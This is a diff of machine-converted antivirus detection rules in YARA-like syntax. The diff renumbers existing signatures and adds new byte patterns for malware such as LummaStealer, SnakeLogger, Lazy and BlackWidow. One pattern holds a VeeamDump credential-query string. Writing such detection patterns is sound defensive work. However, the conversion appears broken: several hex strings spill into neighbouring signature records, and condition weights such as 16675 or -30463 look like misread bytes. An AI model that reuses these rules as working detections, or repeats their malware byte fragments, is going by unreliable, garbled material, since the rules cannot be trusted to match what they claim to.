meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -64018,7 +67336,7 @@ rule _InfrastructureShared_6155{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_6156{ +rule _InfrastructureShared_6475{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -64028,7 +67346,7 @@ rule _InfrastructureShared_6156{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_6157{ +rule _InfrastructureShared_6476{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -64038,7 +67356,7 @@ rule _InfrastructureShared_6157{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_6158{ +rule _InfrastructureShared_6477{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -64048,7 +67366,7 @@ rule _InfrastructureShared_6158{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_6159{ +rule _InfrastructureShared_6478{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -64058,7 +67376,7 @@ rule _InfrastructureShared_6159{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_6160{ +rule _InfrastructureShared_6479{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -64068,7 +67386,7 @@ rule _InfrastructureShared_6160{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_6161{ +rule _InfrastructureShared_6480{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 21 " @@ -64079,7 +67397,7 @@ rule _InfrastructureShared_6161{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29538) >=11 } -rule _InfrastructureShared_6162{ +rule _InfrastructureShared_6481{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 21 " @@ -64090,7 +67408,7 @@ rule _InfrastructureShared_6162{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29538) >=11 } -rule _InfrastructureShared_6163{ +rule _InfrastructureShared_6482{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 21 " @@ -64101,19 +67419,30 @@ rule _InfrastructureShared_6163{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*5) >=15 } -rule _InfrastructureShared_6164{ +rule _InfrastructureShared_6483{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 03 00 21 " strings : $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 56 65 65 61 6d 44 75 6d 70 2e 41 00 05 00 12 80 01 73 65 6c 65 63 74 20 5b 75 73 65 72 5f 6e 61 6d 65 5d 05 00 0a 80 01 5b 70 61 73 73 77 6f 72 64 5d 05 00 14 80 01 2e 5b 64 62 6f 5d } //16675 - $a_72_1 = {64 65 6e 74 69 61 6c 73 5d 00 00 78 68 00 00 28 00 28 00 04 00 21 23 54 45 4c 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 50 6c 61 63 69 73 63 2e 41 21 64 68 61 00 0a 00 09 01 56 50 4c 52 } //23342 - $a_54_2 = {0a 00 08 01 4a 50 56 58 46 52 53 08 0a 00 07 01 54 5b 56 58 4a 53 07 0a 00 12 01 54 71 69 78 7c 67 79 6d 65 4d 6a 65 75 73 78 75 6d 7c 00 00 78 68 00 00 28 00 28 00 05 00 21 23 54 45 4c 50 45 52 3a 48 61 63 6b 54 6f } //23128 + $a_72_1 = {64 65 6e 74 69 61 6c 73 5d 00 00 78 68 00 00 1e 00 1e 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 4b 41 43 21 4d 54 42 00 14 00 21 03 30 cb f6 c2 01 b8 90 01 04 41 } //23342 + $a_f6_2 = {01 41 0f 44 c4 f6 c3 01 b9 90 01 04 0f 44 c1 3d 90 00 0a 00 17 01 80 f3 01 89 c8 20 d8 30 cb 08 c3 89 d8 34 01 20 d8 34 01 89 d9 30 c1 00 00 78 68 00 00 28 00 28 00 04 00 21 23 54 45 4c 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 50 6c 61 63 69 73 63 2e 41 21 64 68 61 00 0a 00 09 01 56 50 4c 52 58 5a 48 54 55 0a 00 08 01 4a 50 56 58 46 52 53 08 0a 00 07 01 54 5b 56 58 4a 53 07 0a 00 12 01 54 71 69 78 7c 67 79 6d 65 4d 6a 65 75 73 78 75 6d 7c 00 00 78 68 00 00 28 00 28 00 05 00 21 23 54 45 4c 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4b 47 36 34 2e 42 00 } //17679 condition: - ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*23342+(#a_54_2 & 1)*23128) >=15 + ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*23342+(#a_f6_2 & 1)*17679) >=15 } -rule _InfrastructureShared_6165{ +rule _InfrastructureShared_6484{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 4b 41 43 21 4d 54 42 00 14 00 21 03 30 cb f6 c2 01 b8 90 01 04 41 0f 45 c4 f6 c1 01 41 0f 44 c4 f6 c3 01 b9 90 01 04 0f 44 c1 3d 90 00 0a 00 17 01 80 f3 } //21539 + $a_20_1 = {30 cb 08 c3 89 d8 34 01 20 d8 34 01 89 d9 30 c1 00 00 78 68 00 00 28 00 28 00 04 00 21 23 54 45 4c 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 50 6c 61 63 69 73 63 2e 41 21 64 68 61 00 0a 00 09 01 56 50 4c 52 58 5a 48 54 55 0a 00 08 01 4a 50 56 58 46 52 53 08 0a 00 07 01 54 5b 56 58 4a 53 07 0a 00 12 01 54 71 69 78 7c 67 79 6d 65 4d 6a 65 75 73 78 75 6d 7c 00 00 78 68 00 00 28 00 28 00 05 00 21 23 54 45 4c 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4b 47 36 34 2e 42 00 0a 00 05 01 3d 41 28 25 00 0a 00 05 01 3d 52 30 21 00 0a 00 0c 01 4d 61 69 6e 20 49 6e 76 6f 6b 65 } //-30463 + condition: + ((#a_4c_0 & 1)*21539+(#a_20_1 & 1)*-30463) >=30 + +} +rule _InfrastructureShared_6485{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,28 00 28 00 04 00 21 " @@ -64125,7 +67454,7 @@ rule _InfrastructureShared_6165{ ((#a_4c_0 & 1)*21539+(#a_54_1 & 1)*4608+(#a_79_2 & 1)*31864) >=40 } -rule _InfrastructureShared_6166{ +rule _InfrastructureShared_6486{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,28 00 28 00 05 00 21 " @@ -64139,7 +67468,7 @@ rule _InfrastructureShared_6166{ ((#a_4c_0 & 1)*21539+(#a_72_1 & 1)*29797+(#a_47_2 & 1)*21072+(#a_00_3 & 1)*-5847+(#a_00_4 & 1)*100) >=40 } -rule _InfrastructureShared_6167{ +rule _InfrastructureShared_6487{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2c 01 2c 01 03 00 21 " @@ -64151,7 +67480,7 @@ rule _InfrastructureShared_6167{ ((#a_46_0 & 1)*16675+(#a_4e_1 & 1)*20993+(#a_00_2 & 1)*19442) >=300 } -rule _InfrastructureShared_6168{ +rule _InfrastructureShared_6488{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -64161,7 +67490,7 @@ rule _InfrastructureShared_6168{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_6169{ +rule _InfrastructureShared_6489{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -64171,7 +67500,7 @@ rule _InfrastructureShared_6169{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_6170{ +rule _InfrastructureShared_6490{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 03 00 21 " @@ -64182,7 +67511,7 @@ rule _InfrastructureShared_6170{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*-14592) >=100 } -rule _InfrastructureShared_6171{ +rule _InfrastructureShared_6491{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 02 00 21 " @@ -64193,7 +67522,7 @@ rule _InfrastructureShared_6171{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*12090) >=200 } -rule _InfrastructureShared_6172{ +rule _InfrastructureShared_6492{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -64203,7 +67532,7 @@ rule _InfrastructureShared_6172{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6173{ +rule _InfrastructureShared_6493{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -64213,7 +67542,7 @@ rule _InfrastructureShared_6173{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6174{ +rule _InfrastructureShared_6494{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -64223,7 +67552,7 @@ rule _InfrastructureShared_6174{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6175{ +rule _InfrastructureShared_6495{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -64233,7 +67562,7 @@ rule _InfrastructureShared_6175{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6176{ +rule _InfrastructureShared_6496{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -64243,7 +67572,7 @@ rule _InfrastructureShared_6176{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6177{ +rule _InfrastructureShared_6497{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -64253,7 +67582,7 @@ rule _InfrastructureShared_6177{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6178{ +rule _InfrastructureShared_6498{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -64263,7 +67592,7 @@ rule _InfrastructureShared_6178{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6179{ +rule _InfrastructureShared_6499{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -64273,7 +67602,7 @@ rule _InfrastructureShared_6179{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6180{ +rule _InfrastructureShared_6500{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -64283,7 +67612,7 @@ rule _InfrastructureShared_6180{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6181{ +rule _InfrastructureShared_6501{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -64293,7 +67622,7 @@ rule _InfrastructureShared_6181{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6182{ +rule _InfrastructureShared_6502{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -64303,7 +67632,7 @@ rule _InfrastructureShared_6182{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6183{ +rule _InfrastructureShared_6503{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -64313,7 +67642,7 @@ rule _InfrastructureShared_6183{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6184{ +rule _InfrastructureShared_6504{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -64323,7 +67652,7 @@ rule _InfrastructureShared_6184{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6185{ +rule _InfrastructureShared_6505{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -64333,7 +67662,7 @@ rule _InfrastructureShared_6185{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6186{ +rule _InfrastructureShared_6506{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -64343,7 +67672,7 @@ rule _InfrastructureShared_6186{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6187{ +rule _InfrastructureShared_6507{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -64353,7 +67682,7 @@ rule _InfrastructureShared_6187{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6188{ +rule _InfrastructureShared_6508{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -64363,7 +67692,7 @@ rule _InfrastructureShared_6188{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6189{ +rule _InfrastructureShared_6509{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -64373,7 +67702,7 @@ rule _InfrastructureShared_6189{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6190{ +rule _InfrastructureShared_6510{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -64383,7 +67712,7 @@ rule _InfrastructureShared_6190{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6191{ +rule _InfrastructureShared_6511{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -64393,7 +67722,7 @@ rule _InfrastructureShared_6191{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6192{ +rule _InfrastructureShared_6512{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -64403,7 +67732,7 @@ rule _InfrastructureShared_6192{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6193{ +rule _InfrastructureShared_6513{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -64413,7 +67742,7 @@ rule _InfrastructureShared_6193{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6194{ +rule _InfrastructureShared_6514{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -64423,7 +67752,7 @@ rule _InfrastructureShared_6194{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6195{ +rule _InfrastructureShared_6515{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -64433,7 +67762,7 @@ rule _InfrastructureShared_6195{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6196{ +rule _InfrastructureShared_6516{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -64443,7 +67772,7 @@ rule _InfrastructureShared_6196{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6197{ +rule _InfrastructureShared_6517{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -64453,7 +67782,7 @@ rule _InfrastructureShared_6197{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_6198{ +rule _InfrastructureShared_6518{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -64463,7 +67792,7 @@ rule _InfrastructureShared_6198{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_6199{ +rule _InfrastructureShared_6519{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -64473,7 +67802,7 @@ rule _InfrastructureShared_6199{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_6200{ +rule _InfrastructureShared_6520{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -64483,7 +67812,17 @@ rule _InfrastructureShared_6200{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_6201{ +rule _InfrastructureShared_6521{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 6c 61 63 6b 57 69 64 6f 77 2e 47 56 54 00 01 00 3b 01 48 83 ec 28 e8 00 00 00 00 58 66 44 0f 38 de c9 c5 f5 ef c9 c5 e5 75 db c5 e5 71 f3 07 c5 cd 60 e1 c5 cd 68 f1 c5 c5 60 c1 c5 c5 68 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=1 + +} +rule _InfrastructureShared_6522{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -64493,7 +67832,7 @@ rule _InfrastructureShared_6201{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_6202{ +rule _InfrastructureShared_6523{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -64503,7 +67842,7 @@ rule _InfrastructureShared_6202{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_6203{ +rule _InfrastructureShared_6524{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -64513,7 +67852,7 @@ rule _InfrastructureShared_6203{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_6204{ +rule _InfrastructureShared_6525{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -64523,7 +67862,7 @@ rule _InfrastructureShared_6204{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_6205{ +rule _InfrastructureShared_6526{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -64533,7 +67872,7 @@ rule _InfrastructureShared_6205{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_6206{ +rule _InfrastructureShared_6527{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -64543,7 +67882,17 @@ rule _InfrastructureShared_6206{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_6207{ +rule _InfrastructureShared_6528{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 49 4b 21 4d 54 42 00 01 00 36 03 0f b6 11 89 eb 81 f3 90 01 04 89 f8 25 90 01 04 01 d8 40 31 d0 89 44 24 90 01 01 8b 44 24 90 01 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_6529{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -64553,7 +67902,7 @@ rule _InfrastructureShared_6207{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_6208{ +rule _InfrastructureShared_6530{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -64563,7 +67912,7 @@ rule _InfrastructureShared_6208{ ((#a_6f_0 & 1)*21539) >=1 } -rule _InfrastructureShared_6209{ +rule _InfrastructureShared_6531{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -64573,7 +67922,7 @@ rule _InfrastructureShared_6209{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_6210{ +rule _InfrastructureShared_6532{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -64584,7 +67933,7 @@ rule _InfrastructureShared_6210{ ((#a_46_0 & 1)*16675+(#a_3a_1 & 1)*12848) >=1 } -rule _InfrastructureShared_6211{ +rule _InfrastructureShared_6533{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -64595,7 +67944,7 @@ rule _InfrastructureShared_6211{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*28520) >=1 } -rule _InfrastructureShared_6212{ +rule _InfrastructureShared_6534{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -64606,7 +67955,7 @@ rule _InfrastructureShared_6212{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*27497) >=1 } -rule _InfrastructureShared_6213{ +rule _InfrastructureShared_6535{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -64617,7 +67966,7 @@ rule _InfrastructureShared_6213{ ((#a_54_0 & 1)*18467+(#a_77_1 & 1)*514) >=1 } -rule _InfrastructureShared_6214{ +rule _InfrastructureShared_6536{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -64628,7 +67977,7 @@ rule _InfrastructureShared_6214{ ((#a_77_0 & 1)*19491+(#a_6d_1 & 1)*29550) >=1 } -rule _InfrastructureShared_6215{ +rule _InfrastructureShared_6537{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -64639,7 +67988,7 @@ rule _InfrastructureShared_6215{ ((#a_46_0 & 1)*21283+(#a_74_1 & 1)*17440) >=1 } -rule _InfrastructureShared_6216{ +rule _InfrastructureShared_6538{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -64649,7 +67998,7 @@ rule _InfrastructureShared_6216{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_6217{ +rule _InfrastructureShared_6539{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -64660,7 +68009,7 @@ rule _InfrastructureShared_6217{ ((#a_46_0 & 1)*21283+(#a_01_1 & 1)*-28476) >=1 } -rule _InfrastructureShared_6218{ +rule _InfrastructureShared_6540{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -64671,7 +68020,7 @@ rule _InfrastructureShared_6218{ ((#a_4c_0 & 1)*21539+(#a_50_1 & 1)*656) >=1 } -rule _InfrastructureShared_6219{ +rule _InfrastructureShared_6541{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -64683,7 +68032,7 @@ rule _InfrastructureShared_6219{ ((#a_54_0 & 1)*18467+(#a_55_1 & 1)*2133+(#a_69_2 & 1)*0) >=1 } -rule _InfrastructureShared_6220{ +rule _InfrastructureShared_6542{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -64694,7 +68043,7 @@ rule _InfrastructureShared_6220{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-20758) >=1 } -rule _InfrastructureShared_6221{ +rule _InfrastructureShared_6543{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -64704,7 +68053,27 @@ rule _InfrastructureShared_6221{ ((#a_46_0 & 1)*21283) >=2 } -rule _InfrastructureShared_6222{ +rule _InfrastructureShared_6544{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 42 41 43 21 4d 54 42 00 02 00 3a 03 00 07 02 7b 02 00 00 04 11 04 91 58 03 11 04 06 5d 91 58 20 00 01 00 00 5d 0b 02 11 04 07 90 01 05 00 00 11 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_6545{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6e 61 6b 65 4c 6f 67 67 65 72 2e 45 46 50 59 21 4d 54 42 00 02 00 36 03 09 11 16 11 15 90 01 05 13 17 11 05 12 17 90 01 05 1f 10 62 12 17 90 01 05 1e 62 60 12 17 90 01 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_6546{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -64715,7 +68084,7 @@ rule _InfrastructureShared_6222{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*17525) >=2 } -rule _InfrastructureShared_6223{ +rule _InfrastructureShared_6547{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -64726,7 +68095,7 @@ rule _InfrastructureShared_6223{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*28792) >=2 } -rule _InfrastructureShared_6224{ +rule _InfrastructureShared_6548{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -64737,7 +68106,7 @@ rule _InfrastructureShared_6224{ ((#a_46_0 & 1)*16675+(#a_15_1 & 1)*257) >=2 } -rule _InfrastructureShared_6225{ +rule _InfrastructureShared_6549{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -64748,7 +68117,7 @@ rule _InfrastructureShared_6225{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*27713) >=2 } -rule _InfrastructureShared_6226{ +rule _InfrastructureShared_6550{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -64759,7 +68128,7 @@ rule _InfrastructureShared_6226{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*385) >=2 } -rule _InfrastructureShared_6227{ +rule _InfrastructureShared_6551{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -64770,18 +68139,28 @@ rule _InfrastructureShared_6227{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*16505) >=2 } -rule _InfrastructureShared_6228{ +rule _InfrastructureShared_6552{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_54_0 = {3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 53 6b 79 6e 69 6b 00 01 00 1c 01 28 2a 29 20 56 2e 49 2e 50 20 28 2a 29 20 28 73 6b 79 70 65 29 20 73 6b 79 70 65 3a 01 00 20 01 53 70 61 6d 6d 65 64 20 62 79 20 53 6b 79 70 65 54 6f 6f 6c 73 20 62 79 } //18467 - $a_6e_1 = {68 69 4b 00 00 78 69 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 4f 63 74 6f 70 61 72 73 65 43 6c 69 65 6e 74 00 01 00 22 01 43 00 6c 00 69 00 65 00 6e 00 74 00 50 00 72 00 6f 00 74 00 65 00 63 00 74 00 2e 00 65 00 78 00 65 00 01 00 20 01 4f 00 63 00 74 00 6f 00 70 00 61 00 72 00 73 00 65 } //17440 + $a_6e_1 = {68 69 4b 00 00 78 69 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 36 00 01 00 17 03 40 00 00 40 2e 74 61 67 67 61 6e 74 00 30 90 01 1a 40 00 00 e0 90 00 01 00 2a 03 50 45 00 00 64 86 08 90 01 11 0b 02 0e 2b 00 de 06 00 00 8a 04 00 00 00 00 00 00 } //17440 condition: ((#a_54_0 & 1)*18467+(#a_6e_1 & 